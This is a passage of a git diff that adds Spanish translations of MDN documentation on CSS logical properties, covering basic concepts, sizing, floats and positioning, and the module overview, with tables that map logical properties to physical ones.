+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Posicionamiento usando líneas de rejilla con nombres</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Posicionamiento automático en grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Alineación de cajas en grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Rejillas, valores lógicos y modos de escritura</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout y Accesibilidad</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout y Mejora Progresiva</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Layouts comunes utilizando CSS Grid</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/es/docs/Glossary/Grid">Rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_lines">Líneas de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_tracks">Pistas de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_cell">Celda de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_areas">Áreas de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Gutters">Canaletas</a></li>
+   <li><a href="/es/docs/Glossary/Grid_Axis">Ejes de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_rows">Fila de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_column">Columna de rejilla</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/css_logical_properties/basic_concepts/index.html b/files/es/web/css/css_logical_properties/basic_concepts/index.html
new file mode 100644
index 0000000000..a90c3b016f
--- /dev/null
+++ b/files/es/web/css/css_logical_properties/basic_concepts/index.html
@@ -0,0 +1,71 @@
+---
+title: Conceptos básicos de las Propiedades y Valores Lógicos
+slug: Web/CSS/CSS_Logical_Properties/Basic_concepts
+translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">La Especificación de Propiedades y Valores Lógicos introduce asignaciones relativas al flujo para muchas de las propiedades y valores en CSS. Este artículo introduce la especificación y explica las propiedades y valores relativos al flujo.</p>
+
+<h2 id="¿Por_qué_necesitamos_propiedades_lógicas">¿Por qué necesitamos propiedades lógicas?</h2>
+
+<p>Tradicionalmente CSS ha medido las cosas de acuerdo con las dimensiones físicas de la pantalla. Por lo tanto, decimos que las cajas tienen un ancho<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> ({{CSSxRef("width")}}) y un alto ({{CSSxRef("height")}}), posicionamos elementos</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, los flotamos, les asignamos bordes, márgenes y rellenos arriba (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">top</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">), a la derecha (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">right</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">), abajo (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">bottom</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">), a la izquierda ( </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">left</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">), etc. La </span><a href="https://drafts.csswg.org/css-logical/" style="font-size: 1rem; letter-spacing: -0.00278rem;">especificación de Propiedades y valores Logicos</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> define una asignación de esos valores físicos a su lógica, o flujo relativo — por ejemplo, comienzo (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">start</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) y final (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">end</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) en oposición a izquierda (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">left</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) y derecha (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">right</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) / arriba (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">top</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) y abajo (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">bottom</code>) .</p>
+
+<p>Un ejemplo de por qué esas asignaciones podrían ser necesarias es el siguiente: tengo el diseño de una pantalla usando CSS Grid, el contenedor de la rejilla tiene un ancho y estoy usando las propiedades {{CSSxRef("align-self")}} y {{CSSxRef("justify-self")}} para alinear los elementos dentro del contenedor. Esas propiedades son de flujo relativo — <code>justify-self: start</code> alinea el elemento al inicio de la dimensión en línea, <code>align-self: start</code> hace lo mismo en la dimensión bloque.</p>
+
+<p><img alt="A grid in a horizontal writing mode" src="https://mdn.mozillademos.org/files/16338/grid-horizontal-width-sm.png" style="display: block; margin: 0 auto; width: 350px;"></p>
+
+<p>Si ahora cambio el modo de escritura para este componente a <code>vertical-rl</code> usando la propiedad {{CSSxRef("writing-mode")}}, la alineación sigue trabajando de la misma forma. La dimensión en línea está ahora de forma vertical y la dimensión bloque de forma horizontal. Sin embargo, la rejilla no se ve igual ya que el ancho asignado para el contenedor es una medida horizontal, vinculada a la posición física y no a la posición lógica o al flujo relativo del texto.</p>
+
+<p><img alt="A grid in vertical writing mode." src="https://mdn.mozillademos.org/files/16339/grid-vertical-width-sm.png" style="display: block; margin: 0 auto; width: 350px;"></p>
+
+<p>Si en lugar de usar la propiedad <code>width</code> usamos la propiedad lógica {{CSSxRef("inline-size")}}, el componente funciona de la misma forma sin importar en qué modo de escritura se encuentre.</p>
+
+<p><img alt="A grid layout in vertical writing mode" src="https://mdn.mozillademos.org/files/16337/grid-vertical-inline-size-small.png" style="display: block; height: 382px; margin: 0 auto; width: 200px;"></p>
+
+<p>Puedes probar lo anterior en el siguiente ejemplo en vivo. Cambia la propiedad <code>writing-mode</code> de <code>vertical-rl</code> a <code>horizontal-tb</code> en <code>.box</code> para mirar cómo cambia el diseño con las diferentes propiedades.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}</p>
+
+<p>Cuando trabajamos en un sitio con un modo de escritura diferente al predeterminado (horizontal) o por razones creativas, ser capaces de relacionarnos con el flujo del contenido tiene mucho sentido.</p>
+
+<h2 id="Dimensiones_de_bloque_y_en_línea">Dimensiones de bloque y en línea</h2>
+
+<p>Dos conceptos claves para trabajar con las propiedades y valores al flujo relativo, son las dimensiones de bloque y en línea. Como vimos anteriormente, los métodos de diseño de CSS como Flexbox y Grid usan los conceptos de bloque (<code>block</code>) y en línea (<code>inline</code>) en vez de usar los conceptos de derecha (<code>right</code>) e izquierda (<code>left</code>) / arriba (<code>top</code>) y abajo (<code>bottom</code>) para alinear elementos.</p>
+
+<p>La dimensión en línea (<code>inline</code>) es la dimensión a lo largo de la cual se ejecuta una línea de texto en el modo de escritura en uso. Por lo tanto, en un documento en español con el texto ejecutándose horizontalmente de izquierda a derecha o un documento árabe con el texto ejecutándose horizontalmente de derecha a izquierda, la dimensión en línea es <em>horizontal</em>. Si cambiamos a un modo de escritura vertical (por ejemplo, un documento japonés), la dimensión en línea ahora es <em>vertical</em>, ya que las líneas en ese modo de escritura se ejecutan verticalmente.</p>
+
+<p>La dimensión en bloque es la dimensión en la que los bloques —como los párrafos— se muestran uno después del otro. Tanto en español como en árabe, los bloques se ejecutan verticalmente, mientras que en cualquier modo de escritura vertical se ejecutan horizontalmente.</p>
+
+<p>El siguiente diagrama muestra las direcciones de bloque y en línea en un modo de escritura horizontal:</p>
+
+<p><img alt="diagram showing the inline axis running horizontally, block axis vertically." src="https://mdn.mozillademos.org/files/16340/mdn-horizontal.png" style="display: block; height: 382px; margin: 0 auto; width: 521px;"></p>
+
+<p>El siguiente diagrama muestra las direcciones de bloque y en línea en un modo de escritura vertical:</p>
+
+<p><img alt="Diagram showing the block axis running horizontally the inline axis vertically." src="https://mdn.mozillademos.org/files/16341/mdn-vertical.png" style="display: block; height: 382px; margin: 0 auto; width: 418px;"></p>
+
+<h2 id="Soporte_en_navegadores">Soporte en navegadores</h2>
+
+<p>Las Propiedades y Valores lógicos pueden ser considerados como un par de grupos en términos de la compatibilidad actual del navegador. Algunas de las propiedades son esencialmente asignadas desde la versión física, por ejemplo {{CSSxRef("inline-size")}} por {{CSSxRef("width")}} o {{CSSxRef("margin-inline-start")}} en lugar de {{CSSxRef("margin-left")}}. Esa asignación de propiedades se está comenzando a ver bien en los diferentes navegadores; sin embargo, si miras la página de cada propiedad en la <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties#Reference">referencia en MDN</a>, verás que el único navegador moderno que no cuenta con estas propiedades es Edge.</p>
+
+<p>Hay otro grupo de estas propiedades lógicas que no tienen una asignación directa con las propiedades físicas existentes. Estas son abreviaturas posibles gracias al hecho de que podemos referirnos a ambos bordes del bloque o dimensión en línea a la vez. Un ejemplo sería {{CSSxRef("margin-block")}}, que es una abreviación de {{CSSxRef("margin-block-start")}} y {{CSSxRef("margin-block-end")}}. Actualmente, estas propiedades no tiene soporte en navegadores.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: CSS Working Group está intentando decidir qué hacer con los valores abreviados de cuatro valores para las propiedades lógicas, por ejemplo, los equivalentes para configurar cuatro propiedades físicas a la vez, como márgenes con la propiedad {{CSSxRef("margin")}}. Necesitaríamos algún tipo de modificador si tuviéramos que reutilizar el margen para las propiedades relativas al flujo. Si deseas leer las sugerencias o comentarlas, el problema relevante de GitHub es <a href="https://github.com/w3c/csswg-drafts/issues/1282">#1282</a>.</p>
+</div>
+
+<h3 id="Pruebas_para_el_soporte_en_navegadores">Pruebas para el soporte en navegadores</h3>
+
+<p>Puedes probar el soporte de las propiedades y valores lógicos usando <em>feature queries</em>. Por ejemplo, {{CSSxRef("width")}}, prueba para {{CSSxRef("inline-size")}} y, si esto es soportado, establece el ancho (<code>width</code>) en automático (<code>auto</code>) y el tamaño en línea (<code>inline-size</code>) al valor del ancho (<code>width</code>) original.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Alineamiento de caja en Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">Alineamiento de caja en Flex Layout</a></li>
+ <li><a href="https://www.smashingmagazine.com/2018/03/understanding-logical-properties-values/">Entendiendo Propiedades y Valores Lógicos</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Modos de escritura</a></li>
+</ul>
diff --git a/files/es/web/css/css_logical_properties/dimensionamiento/index.html b/files/es/web/css/css_logical_properties/dimensionamiento/index.html
new file mode 100644
index 0000000000..a5a9b4063c
--- /dev/null
+++ b/files/es/web/css/css_logical_properties/dimensionamiento/index.html
@@ -0,0 +1,89 @@
+---
+title: Dimensionamiento para propiedades lógicas
+slug: Web/CSS/CSS_Logical_Properties/Dimensionamiento
+translation_of: Web/CSS/CSS_Logical_Properties/Sizing
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">En esta guía explicaremos las asignaciones relativas al flujo relativo entre las propiedades de dimensionamiento físico y lógico usados para dimensionar elementos en nuestras páginas.</p>
+
+<p>Cuando especificamos el tamaño de un ítem, las <a href="https://drafts.csswg.org/css-logical/">Propiedades y Valores Lógicos</a> te dan la habilidad de indicar el dimensionamiento en relación al flujo relativo del texto (en línea y bloque) más bien que dimensionamiento físico con relación a las dimensiones físicas: horizontal y vertical (por ejemplo, left y right). Si bien estas asignaciones de flujo relativo pueden convertirse en el valor predeterminado para muchos de nosotros, en un diseño puede usar el tamaño físico y el tamaño lógico. Es posible que desee que algunas características se relacionen siempre con las dimensiones físicas, independientemente del modo de escritura.</p>
+
+<h2 id="Asignaciones_para_dimensiones">Asignaciones para dimensiones</h2>
+
+<p>La siguiente tabla proporciona asignaciones entre propiedades lógicas y físicas. Estas asignaciones asumen que estás en un modo de escritura  <code>horizontal-tb</code>, como Inglés o Árabe, en cada caso el ancho ({{CSSxRef("width")}}) sería asignado a {{CSSxRef("inline-size")}}.</p>
+
+<p>Si tú estás en un modo de escritura vertical, entonces {{CSSxRef("inline-size")}} sería asignado a {{CSSxRef("height")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedades Lógicas</th>
+   <th scope="col">Propiedades Físicas</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{CSSxRef("inline-size")}}</td>
+   <td>{{CSSxRef("width")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("block-size")}}</td>
+   <td>{{CSSxRef("height")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("min-inline-size")}}</td>
+   <td>{{CSSxRef("min-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("min-block-size")}}</td>
+   <td>{{CSSxRef("min-height")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("max-inline-size")}}</td>
+   <td>{{CSSxRef("max-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("max-block-size")}}</td>
+   <td>{{CSSxRef("max-height")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo_de_ancho_y_alto">Ejemplo de ancho y alto</h2>
+
+<p>Las asignaciones para el ancho ({{CSSxRef("width")}}) y el alto ({{CSSxRef("height")}}) son {{CSSxRef("inline-size")}}, que establece el largo en la dimensión en línea y {{CSSxRef("block-size")}}, que establece el largo en la dimensión en bloque. Cuando trabajamos en Inglés, si reemplazamos el ancho (<code>width</code>) con <code>inline-size</code> y el alto (<code>height</code>) con <code>block-size</code> dará el mismo diseño.</p>
+
+<p>En el siguiente ejemplo, establecemos un modo de escritura <code>horizontal-tb</code>. Cambiamos esto por <code>vertical-rl</code> y veremos que el primer ejemplo — cuando usamos <code>width</code> y <code>height</code> — permanece con el mismo tamaño en cada dimensión, a pesar de que el texto se vuelve vertical. El segundo ejemplo — cuando usamos <code>inline-size</code> y <code>block-size</code> — seguirá la dirección del texto como si todo el bloque hubiera girado.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-inline-block.html", '100%', 500)}}</p>
+
+<h2 id="Ejemplo_de_ancho_y_alto_mínimo">Ejemplo de ancho y alto mínimo</h2>
+
+<p>También hay asignaciones para {{CSSxRef ("min-width")}} y {{CSSxRef ("min-height")}} — estas son {{CSSxRef ("min-inline-size")}} y {{ CSSxRef ("min-block-size")}}. Estas funcionan de la misma manera que las propiedades de <code>inline-size</code> y <code>block-size</code>, pero establecen un tamaño mínimo en lugar de uno fijo.<br>
+ <br>
+ Intente cambiar el siguiente ejemplo a <code>vertical-rl</code>, como en el primer ejemplo, para ver el efecto que tiene. Estoy usando <code>min-height</code> en el primer ejemplo y <code>min-block-size</code> en el segundo.</p>
+
+<p> </p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-min.html", "100%", 500)}}</p>
+
+<h2 id="Ejemplo_de_ancho_y_alto_máximo">Ejemplo de ancho y alto máximo</h2>
+
+<p>Finalmente, puedes usar {{CSSxRef("max-inline-size")}} y {{CSSxRef("max-block-size")}} como reemplazos de {{CSSxRef("max-width")}} y {{CSSxRef("max-height")}}. Intenta jugar con el siguiente ejemplo de la misma manera que antes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-max.html", "100%", 500)}}</p>
+
+<h2 id="Palabras_claves_para_redimensionamiento_lógico">Palabras claves para redimensionamiento lógico</h2>
+
+<p>La propiedad {{CSSxRef("resize")}} establece si un elemento se puede redimensionar o no y si tiene valores físicos de <code>horizontal</code> y <code>vertical</code>. La propiedad <code>resize</code> también tiene valores de palabras clave lógicas. Usar <code>resize: inline</code> permite cambiar el tamaño en la dimensión inline y <code>resize: block</code> permite cambiar el tamaño en la dimensión de bloque.</p>
+
+<p>El valor de la palabra clave de <code>both</code>para la propiedad de cambio de tamaño funciona ya sea que esté pensando física o lógicamente. Establece ambas dimensiones a la vez. Intenta jugar con el siguiente ejemplo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/size-resize.html", "100%", 700)}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>Nota:</strong> <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Tenga en cuenta que actualmente los valores lógicos para el cambio de tamaño solo son compatibles con Firefox.</span></p>
+
+<p> </p>
+</div>
diff --git a/files/es/web/css/css_logical_properties/floating_and_positioning/index.html b/files/es/web/css/css_logical_properties/floating_and_positioning/index.html
new file mode 100644
index 0000000000..2f1654079f
--- /dev/null
+++ b/files/es/web/css/css_logical_properties/floating_and_positioning/index.html
@@ -0,0 +1,206 @@
+---
+title: Propiedades lógicas para flotantes y posicionamiento
+slug: Web/CSS/CSS_Logical_Properties/Floating_and_positioning
+translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning
+---
+<div>{{CSSRef}}</div>
+
+<div> </div>
+
+<p class="summary">La <a href="https://drafts.csswg.org/css-logical/">especificación de Propiedades y Valores Lógicos</a> contiene una asignación para los valores físicos {{cssxref("float")}} y {{cssxref("clear")}}, y también para las propiedades de posicionamiento usadas con <a href="/en-US/docs/Web/CSS/CSS_Positioning">positioned layout</a>. Esta guía nos permite saber cómo utilizar estas propiedades.</p>
+
+<h2 id="Asignando_propiedades_y_valores">Asignando propiedades y valores</h2>
+
+<p>La tabla a continuación detalla las propiedades y valores discutidos en esta guía junto con sus asignaciones físicas. Estas, asumen un modo de escritura ({{cssxref("writing-mode")}}), con una dirección de izquierda a derecha (left-to-right).</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">
+    <p>Propiedad o valor lógico</p>
+   </th>
+   <th scope="col">
+    <p>Propiedad o valor lógico</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{cssxref("float")}}: inline-start</p>
+   </td>
+   <td>
+    <p>{{cssxref("float")}}: left</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("float")}}: inline-end</p>
+   </td>
+   <td>
+    <p>{{cssxref("float")}}: right</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("clear")}}: inline-start</p>
+   </td>
+   <td>
+    <p>{{cssxref("clear")}}: left</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("clear")}}: inline-end</p>
+   </td>
+   <td>
+    <p>{{cssxref("clear")}}: right</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("inset-inline-start")}}</p>
+   </td>
+   <td>
+    <p>{{cssxref("left")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("inset-inline-end")}}</p>
+   </td>
+   <td>
+    <p>{{cssxref("right")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("inset-block-start")}}</p>
+   </td>
+   <td>
+    <p>{{cssxref("top")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("inset-block-end")}}</p>
+   </td>
+   <td>
+    <p>{{cssxref("bottom")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("text-align")}}: start</p>
+   </td>
+   <td>
+    <p>{{cssxref("text-align")}}: left</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("text-align")}}: end</p>
+   </td>
+   <td>
+    <p>{{cssxref("text-align")}}: right</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p>Además de estas propiedades asignadas, hay algunas propiedades abreviadas adicionales que son posibles al poder abordar las dimensiones de bloque y en línea. Estos no tienen mapeo a las propiedades físicas.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">
+    <p>Propiedad lógica</p>
+   </th>
+   <th scope="col">
+    <p>Propósito</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{cssxref("inset-inline")}}</p>
+   </td>
+   <td>
+    <p>Establece los dos valores de inserción anteriores para la dimensión en línea simultáneamente.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("inset-block")}}</p>
+   </td>
+   <td>
+    <p>Establece los dos valores de inserción anteriores para la dimensión de bloque simultáneamente.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{cssxref("inset")}}</p>
+   </td>
+   <td>
+    <p>Establece los cuatro valores de inserción simultáneamente.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Flotante_y_ejemplo_claro">Flotante y ejemplo claro</h2>
+
+<p>Los valores físicos usados con las propiedades {{cssxref("float")}} y {{cssxref("clear")}} son <code>left</code>, <code>right</code> y <code>both</code>. La especificación de las Propiedades Lógicas definen los valores <code>inline-start</code> y <code>inline-end</code> como asignación para <code>left</code> y <code>right</code>.</p>
+
+<p>En el ejemplo de abajo tenemos dos cajas — la primera tiene una caja flotante con <code>float: left</code>, la segunda con <code>float: inline-start</code>. Si tu cambias el modo de escritura (<code>writing-mode</code>) a <code>vertical-rl</code> o la dirección (<code>direction</code>) a <code>rtl</code> verás que la caja flotando a la izquierda siempre se queda en la izquierda, mientras que el ítem <code>inline-start</code>-floated sigue la dirección (<code>direction</code>) y el modo de escritura (<code>writing-mode</code>).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}</p>
+
+<h2 id="Ejemplo_Propiedades_de_inserción_para_diseño_posicionado">Ejemplo: Propiedades de inserción para diseño posicionado</h2>
+
+<p>El posicionamiento generalmente nos permite posicionar un elemento de una manera relativa al bloque de contención — esencialmente, insertamos el elemento en relación con el lugar donde caería en función del flujo normal. Para hacer esto, hemos usado popiedades físicas como {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} y {{cssxref("left")}}.</p>
+
+<p>Estas propiedades toman una longitud o un porcentaje como valor y se relacionan con las dimensiones de la pantalla del usuario.</p>
+
+<p>Se han creado nuevas propiedades en la especificación de Propiedades Lógicas para cuando desee que el posicionamiento se relacione con el flujo de texto en su modo de escritura. Estos son los siguientes: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, {{cssxref("inset-inline-start")}} y {{cssxref("inset-inline-end")}}.</p>
+
+<p>En el siguiente ejemplo hemos usado las propiedades <code>inset-block-start</code> y <code>inset-inline-end</code> para posicionar la caja azul usando un posicionamiento absoluto dentro del área con el borde punteado de color gris, que tiene <code>position: relative</code>. Podemos cambiar la propiedad de modo de escritura (<code>writing-mode</code>) a <code>vertical-rl</code>, o agregar <code>direction: rtl</code>, y ver cómo el cuadro de flujo relativo se mantiene con la dirección del texto.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}</p>
+
+<h2 id="Nuevas_abreviaciones_de_dos-_y_cuatro-valores">Nuevas abreviaciones de dos- y cuatro-valores</h2>
+
+<p>Al igual que con otras propiedades en la especificación, tenemos algunas propiedades abreviadas nuevas, que permiten configurar dos o cuatro valores a la vez. Estos no tienen una equivalencia directa a propiedades físicas.</p>
+
+<ul>
+ <li>
+  <p>{{cssxref("inset")}} — pone los cuatro lados juntos.</p>
+ </li>
+ <li>
+  <p>{{cssxref("inset-inline")}} — pone los dos en línea juntos.</p>
+ </li>
+ <li>
+  <p>{{cssxref("inset-block")}} — pone los dos bloques juntos.</p>
+ </li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los navegadores que han implementado la especificación de propiedades lógicas han implementado hasta ahora las asignaciones directas y no las abreviaturas nuevas. Consulte la sección de datos de compatibilidad del navegador en cada referencia de página de propiedades para obtener más detalles.</p>
+</div>
+
+<h2 id="Ejemplo_Valores_lógicos_para_text-align">Ejemplo: Valores lógicos para text-align</h2>
+
+<p>La propiedad {{cssxref("text-align")}} tiene valores lógicos que se relacionan con la dirección del texto. — en lugar de usar <code>left</code> y <code>right</code> usamos <code>start</code> y <code>end</code>. En el siguiente ejemplo tenemos <code>text-align: right</code> en el primer bloque y <code>text-align: end</code> en el segundo.</p>
+
+<p>Si cambias el valor de la dirección (<code>direction</code>) a <code>rtl</code> verás que la alineación permanece a la derecha para el primer bloque, pero va al extremo lógico en el segundo bloque.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}</p>
+
+<p>Esto funciona de una manera más consistente cuando se usa la alineación de caja que usa inicio y final en lugar de direcciones físicas para la alineación.</p>
diff --git a/files/es/web/css/css_logical_properties/index.html b/files/es/web/css/css_logical_properties/index.html
new file mode 100644
index 0000000000..3271fee1c4
--- /dev/null
+++ b/files/es/web/css/css_logical_properties/index.html
@@ -0,0 +1,172 @@
+---
+title: Propiedades y Valores Lógicos de CSS
+slug: Web/CSS/CSS_Logical_Properties
+tags:
+  - CSS
+  - Propiedades lógicas
+  - Referencia
+  - Valores lógicos
+  - Visión general
+translation_of: Web/CSS/CSS_Logical_Properties
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Logical Properties</strong> (las propiedades lógicas en CSS) son un módulo de <a href="/en-US/docs/Web/CSS"><abbr title="Cascading Stylesheets">CSS</abbr></a> que introduce propiedades y valores lógicos, proporcionando la capacidad de controlar el diseño de forma lógica en vez de la asignación de dimensiones físicas de dirección y dimensión.</p>
+
+<p>Este módulo también define propiedades y valores lógicos para propiedades previamente definidas en <abbr title="Cascading Stylesheets">CSS</abbr> 2.1. Las propiedades lógicas definen una equivalencia a sus propiedades físicas correspondientes.  </p>
+
+<h3 id="Dimensiones_de_bloque_y_en_línea">Dimensiones de bloque y en línea</h3>
+
+<p>Las propiedades y valores lógicos usan los términos abstractos de bloque (<em>block)</em> y en línea (<em>inline)</em> para describir la dirección en la que fluyen. El sentido físico de estos términos depende del <a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">modo de escritura</a>.</p>
+
+<dl>
+ <dt><a id="block-dimension" name="block-dimension">Dimensión de bloque</a></dt>
+ <dd>Es la dimensión perpendicular al flujo del texto en línea, es decir, la dimensión vertical en un modo de escritura horizontal, y la dimensión horizontal en un modo de escritura vertical. Para el texto estándar en inglés, es la dimensión vertical.</dd>
+ <dt><a name="inline-dimension">Dimensión en línea</a></dt>
+ <dd>Es la dimensión paralela al flujo del texto en línea, es decir, la dimensión horizontal en un modo de escritura horizontal, y la dimensión vertical en un modo de escritura vertical. Para el texto estándar en inglés, es la dimensión horizontal.</dd>
+</dl>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades_para_dimensionamiento">Propiedades para dimensionamiento</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-inline-size")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="Propiedades_para_márgenes_bordes_y_relleno">Propiedades para márgenes, bordes y relleno</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("border-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end")}} {{Experimental_Inline}}</li>
